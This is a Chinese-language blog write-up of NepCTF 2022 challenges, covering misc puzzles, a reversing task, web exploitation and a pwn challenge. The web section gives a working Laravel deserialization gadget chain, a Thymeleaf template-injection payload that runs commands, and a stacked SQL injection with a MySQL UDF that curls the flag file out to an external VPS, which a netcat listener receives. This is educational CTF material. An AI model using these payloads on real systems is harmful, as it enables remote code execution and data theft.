NepCTF 2022 | 风尘孤狼

风尘孤狼

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NepCTF 2022

发表于 更新于 分类于 ， 阅读次数： Valine：
本文字数： 30k 阅读时长 ≈ 28 分钟

image-20220717131146861

前言

打了三天的NepCTF，还是有收获的，都是挺有意思的题目，终究是我太菜，师傅们都太卷了，敌不过你们

image-20220717131457543

misc

花花画画画花花

花花画了一张图，你能看出来她画的是什么吗

下载附件发现是.osz文件，是 osu! 的一个谱面压缩文件，下载osu!软件然后附件拖进去

image-20220715184927423

启动osu!，进入到edit模式，一点一点放，这里放个图吧

img

最后拼接一下就是flag

NepCTF{MASTER_OF_坏女人！}

签到题

极限套娃

附件就是套娃，刚开始出的那个套一半就卡住了，后来主办方降低难度了，新的附件有思路，就是简单的套娃

image-20220715185253401

解压脚本如下

import zipfile
import re

zipname = "C:\\Users\\25963\\Desktop\\新\\xxx\\232\\231\\"+"230.zip"

while True:
    if zipname[len(zipname)-4:] == ".zip":
        pzip = zipfile.ZipFile(zipname)
        res = re.search('[0-9]*',pzip.namelist()[0])
        print(res.group())
        password = res.group()
        password = password.encode('ascii')
        pzip.extractall("D:\\developer\\python_shell\\zip",pwd=password)
        zipname = "D:\\developer\\python_shell\\zip\\"+pzip.namelist()[0]
    else:
        print("end")

image-20220715185354913

发现是伪加密，直接用winrar修复

image-20220715185440337

流量分析发现是usb流量

筛选流量

usb.transfer_type == 0x01 and usb.src == "1.5.1"

image-20220717125234184

导出之后上kali

tshark -r 2.pcap -T fields -e usb.capdata > usbdata.txt

image-20220717125332637

利用脚本加上冒号

f=open('usbdata.txt','r')
fi=open('out.txt','w')
while 1:
    a=f.readline().strip()
    if a:
        if len(a)==16: # 键盘流量len=16，鼠标流量len=8
            out=''
            for i in range(0,len(a),2):
                if i+2 != len(a):
                    out+=a[i]+a[i+1]+":"
                else:
                    out+=a[i]+a[i+1]
            fi.write(out)
            fi.write('\n')
    else:
        break

fi.close()

image-20220717125428182

键盘流量上脚本

normalKeys = {
    "04":"a", "05":"b", "06":"c", "07":"d", "08":"e",
    "09":"f", "0a":"g", "0b":"h", "0c":"i", "0d":"j",
     "0e":"k", "0f":"l", "10":"m", "11":"n", "12":"o",
      "13":"p", "14":"q", "15":"r", "16":"s", "17":"t",
       "18":"u", "19":"v", "1a":"w", "1b":"x", "1c":"y",
        "1d":"z","1e":"1", "1f":"2", "20":"3", "21":"4",
         "22":"5", "23":"6","24":"7","25":"8","26":"9",
         "27":"0","28":"<RET>","29":"<ESC>","2a":"<DEL>", "2b":"\t",
         "2c":"<SPACE>","2d":"-","2e":"=","2f":"[","30":"]","31":"\\",
         "32":"<NON>","33":";","34":"'","35":"<GA>","36":",","37":".",
         "38":"/","39":"<CAP>","3a":"<F1>","3b":"<F2>", "3c":"<F3>","3d":"<F4>",
         "3e":"<F5>","3f":"<F6>","40":"<F7>","41":"<F8>","42":"<F9>","43":"<F10>",
         "44":"<F11>","45":"<F12>"}
shiftKeys = {
    "04":"A", "05":"B", "06":"C", "07":"D", "08":"E",
     "09":"F", "0a":"G", "0b":"H", "0c":"I", "0d":"J",
      "0e":"K", "0f":"L", "10":"M", "11":"N", "12":"O",
       "13":"P", "14":"Q", "15":"R", "16":"S", "17":"T",
        "18":"U", "19":"V", "1a":"W", "1b":"X", "1c":"Y",
         "1d":"Z","1e":"!", "1f":"@", "20":"#", "21":"$",
          "22":"%", "23":"^","24":"&","25":"*","26":"(","27":")",
          "28":"<RET>","29":"<ESC>","2a":"<DEL>", "2b":"\t","2c":"<SPACE>",
          "2d":"_","2e":"+","2f":"{","30":"}","31":"|","32":"<NON>","33":"\"",
          "34":":","35":"<GA>","36":"<","37":">","38":"?","39":"<CAP>","3a":"<F1>",
          "3b":"<F2>", "3c":"<F3>","3d":"<F4>","3e":"<F5>","3f":"<F6>","40":"<F7>",
          "41":"<F8>","42":"<F9>","43":"<F10>","44":"<F11>","45":"<F12>"}
output = []
keys = open('out.txt')
for line in keys:
    try:
        if line[0]!='0' or (line[1]!='0' and line[1]!='2') or line[3]!='0' or line[4]!='0' or line[9]!='0' or line[10]!='0' or line[12]!='0' or line[13]!='0' or line[15]!='0' or line[16]!='0' or line[18]!='0' or line[19]!='0' or line[21]!='0' or line[22]!='0' or line[6:8]=="00":
             continue
        if line[6:8] in normalKeys.keys():
            output += [[normalKeys[line[6:8]]],[shiftKeys[line[6:8]]]][line[1]=='2']
        else:
            output += ['[unknown]']
    except:
        pass

keys.close()

flag=0
print("".join(output))
for i in range(len(output)):
    try:
        a=output.index('<DEL>')
        del output[a]
        del output[a-1]
    except:
        pass

for i in range(len(output)):
    try:
        if output[i]=="<CAP>":
            flag+=1
            output.pop(i)
            if flag==2:
                flag=0
        if flag!=0:
            output[i]=output[i].upper()
    except:
        pass

print ('output :' + "".join(output))

image-20220717125520549

nepctf{welcometonepctf2nd}

9点直播

老老实实看直播，听出题人说有多么简单，然后拿到flag

image-20220715215119009

NepCTF{bad_woman_nb!}

少见的bbbbase

少见的bbbbase

附件是个jpg，用Jphswin，无密码，直接导出base加密的flag

image-20220715224825979

base58解码得到明文flag

flag{Real_qiandao~}

馅饼？陷阱！

好兄弟中奖了，但是要先汇款。他去哪了？

NepCTF{银行官网网址}

有一个车牌号琼，是海南省

image-20220717102824970

结合东北饺子城，百度地图搜索得到对面就是那个银行

image-20220716211423856

银行是光大银行

NepCTF{www.cebbank.com}

问卷

填问卷给flag

image-20220717094619764

NepCTF{see_you_NepCTF_2023}

re

快来签到

下载附件，ida32，打开之后修改最大节点数为9999，得到flag

image-20220715220158915

NepCTF{welc0me_t0_nepctf}

web

Just Kidding

顽皮的HRP用Laravel写了个项目来欢迎大伙来玩Nepctf 2nd，没想到…居然被坏蛋Sharun撅了

image-20220715233829454

没发现啥，www.zip是源码泄露，链子是Laravel 9.1.8

image-20220715233815201

反序列化漏洞，poc如下

<?php

namespace Faker {
    class Generator {
        protected $providers = [];
        protected $formatters = [];
        function __construct() {
            $this->formatter = "dispatch";
            $this->formatters = 9999;
        }
    }
}

namespace Illuminate\Broadcasting {
    class PendingBroadcast {
        public function __construct() {
            $this->event = "cat /flag";
            $this->events = new \Faker\Generator();
        }
    }
}

namespace Symfony\Component\Mime\Part {
    abstract class AbstractPart {
        private $headers = null;
    }

    class SMimePart extends AbstractPart {
        protected $_headers;
        public $h3rmesk1t;
        function __construct() {
            $this->_headers = ["dispatch"=>"system"];
            $this->h3rmesk1t = new \Illuminate\Broadcasting\PendingBroadcast();
        }
    }
}


namespace {
    $pop = new \Symfony\Component\Mime\Part\SMimePart();
    $ser = preg_replace("/([^\{]*\{)(.*)(s:49.*)(\})/","\\1\\3\\2\\4",serialize($pop));
    echo base64_encode(str_replace("i:9999","R:2",$ser));
}

image-20220715234022070

NepCTF{e3edfaa0-e66e-4c7b-8c0b-e1cde5c7c40a}

Challenger

顽皮的HRP又换了种语言写项目来欢迎大家，没想到又让Sharun掘了😭

（flag在根目录下: /flag）

下附件，分析路由，Thymeleaf模板注入

image-20220716005743688

get传payload如下

eval?lang=__$%7Bnew java.util.Scanner(T(java.lang.Runtime).getRuntime().exec("cat /flag").getInputStream()).next()%7D__::.x

image-20220715234918429

NepCTF{b2d6a9bf-4f90-4abc-b5ae-9c07c4439ca5}

博学多闻的花花

坏女人要去参加CTF高考了，你能帮帮她嘛？(这个帮不得吧…)

image-20220717093551450

在my.cnf中看到是可以写进去so到plugin的，考虑是udf提权

image-20220717094031422

同时index.php界面用户注册之后存在堆叠注入image-20220717094006191

payload

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into dumpfile '/usr/lib64/mysql/plugin/hzy.so';CREATE FUNCTION sys_eval RETURNS STRING SONAME 'hzy.so';SELECT sys_eval('curl http://43.138.40.212:4000 -d @/flag');#
vps外带数据
nc -lvnp 4000

image-20220717102715914

NepCTF{CBF3BB22-D632-441D-A96D-405E0550A10F}

QRCode Maker

pwn

全栈手

阿毛给了H3一个C4炸弹，啪的一下很快啊，这个网站被炸了好几个洞 tips:本题目不提供附件 tips:附件通过源码泄露获取

image-20220717224741049

有个非预期解，是只需要会web就可以的，预期解的pwn我不会

首先存在一个目录穿越

image-20220717224840055

bp拦截得到key

image-20220717225056161

然后是ac4加密，直接解密就行

image-20220717225134983

制作不易，如若感觉写的不错，欢迎打赏